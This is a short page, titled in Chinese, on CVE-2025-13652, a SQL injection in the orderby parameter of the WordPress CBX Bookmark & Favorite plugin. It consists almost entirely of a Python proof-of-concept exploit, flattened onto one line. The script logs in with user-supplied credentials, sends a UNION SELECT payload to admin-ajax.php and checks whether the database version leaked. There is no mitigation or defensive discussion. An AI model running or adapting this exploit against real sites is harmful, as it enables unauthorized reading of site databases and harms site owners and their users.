CVE-2025-13652 WordPress CBX Bookmark插件orderby参数SQL注入漏洞

import requests import sys # CVE-2025-13652 PoC - CBX Bookmark & Favorite SQL Injection # Target: WordPress site with CBX Bookmark & Favorite plugin <= 2.0.4 target = input("Enter target URL: ") username = input("Enter username: ") password = input("Enter password: ") # Step 1: Login to WordPress to get authentication cookie login_url = f"{target}/wp-login.php" session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target, 'testcookie': '1' } session.post(login_url, data=login_data) # Step 2: Exploit SQL Injection via orderby parameter # Malicious payload to extract database version sql_payload = "1 UNION SELECT 1,2,3,4,5,@@version,7,8,9,10--" exploit_url = f"{target}/wp-admin/admin-ajax.php" params = { 'action': 'cbxbookmark_listing', 'orderby': sql_payload, 'order': 'ASC' } print(f"[*] Sending exploit request with payload: {sql_payload}") response = session.get(exploit_url, params=params) print(f"[*] Response status: {response.status_code}") print(f"[*] Response preview: {response.text[:500]}") if '5.' in response.text or '8.' in response.text: print("[+] SQL Injection confirmed! Database version leaked.") else: print("[-] Exploitation may have failed, check response manually.")